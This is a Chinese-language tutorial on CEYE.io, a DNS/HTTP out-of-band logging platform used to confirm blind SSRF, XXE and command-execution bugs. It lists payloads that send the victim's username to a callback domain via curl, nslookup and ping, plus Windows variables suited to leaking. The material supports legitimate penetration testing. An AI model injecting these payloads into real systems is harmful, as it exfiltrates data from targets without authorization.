0x01 CEYE 是什么
CEYE是一个用来检测带外(Out-of-Band)流量的监控平台,如DNS查询和HTTP请求。它可以帮助安全研究人员在测试漏洞时收集信息(例如SSRF / XXE / RFI / RCE)。
0x02 CEYE的使用场景
漏洞检测或漏洞利用需要进一步的用户或系统交互。
一些漏洞类型没有直接表明攻击是成功的。如Payload触发了却不在前端页面显示。
这时候使用CEYE平台,通过使用诸如DNS和HTTP之类的带外信道,便可以得到回显信息。
0x03 CEYE如何使用
登录 CEYE.IO,在用户详情页(http://ceye.io/profile)可以看到自己的域名标识符 identifier,对于每个用户,都有唯一的域名标识符如 abcdef.ceye.io 。所有来自于 abcdef.ceye.io 或 *.abcdef.ceye.io 的 DNS查询和HTTP请求都会被记录。通过查看这些记录信息,安全研究人员可以确认并改进自己的漏洞研究方案。
通过DNS带外信道检测 Blind Payload 的执行情况
DNS查询可以以多种不同的方式进行解析。CEYE.IO平台提供了一台DNS Server来解析域名。它的 nameserver address 被设置为自己的服务器IP,因此所有关于ceye.io 的域名的DNS查询最终都会被发送到CEYE的DNS服务器。
例如,在终端中使用 nslookup
➜ nslookup `whoami`.abcdef.ceye.io Server: 127.1.1.1 Address: 127.1.1.1#53 Non-authoritative answer: Name: chan.abcdef.ceye.io Address: 118.192.48.48
可以看到有记录产生,我们保存了最近的100条记录,你可以通过搜索框,搜索并导出你需要的结果,导出格式为 JSON 。
CEYE.IO平台拥有自己的HTTP服务器,记录用户域名的所有请求。这可以用来做一些有趣的事情。例如:
➜ curl -X POST http://ip.port.abcdef.ceye.io/`whoami`?p=http -d data=http { "meta": { "code": 201, "message": "HTTP Record Insert Success"}}
在后台,CEYE.IO平台将记录客户端请求的URL,远程IP地址,Http Method,Data,User Agent,Content Type等信息。你可以在HTTP Records页面找到这些详细信息。
0x04 Payloads:
0x00 Command Execution
i. *nix:
curl http://ip.port.b182oj.ceye.io/`whoami` ping `whoami`.ip.port.b182oj.ceye.io
ii. windows
ping %USERNAME%.b182oj.ceye.io
这里给大家一个win的常用变量吧
//变量 类型 描述 //%ALLUSERSPROFILE% 本地 返回“所有用户”配置文件的位置。 //%APPDATA% 本地 返回默认情况下应用程序存储数据的位置。 //%CD% 本地 返回当前目录字符串。 //%CMDCMDLINE% 本地 返回用来启动当前的 Cmd.exe 的准确命令行。 //%CMDEXTVERSION% 系统 返回当前的“命令处理程序扩展”的版本号。 //%COMPUTERNAME% 系统 返回计算机的名称。 //%COMSPEC% 系统 返回命令行解释器可执行程序的准确路径。 //%DATE% 系统 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。 //%ERRORLEVEL% 系统 返回上一条命令的错误代码。通常用非零值表示错误。 //%HOMEDRIVE% 系统 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。 //%HOMEPATH% 系统 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。 //%HOMESHARE% 系统 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。 //%LOGONSERVER% 本地 返回验证当前登录会话的域控制器的名称。 //%NUMBER_OF_PROCESSORS% 系统 指定安装在计算机上的处理器的数目。 //%OS% 系统 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。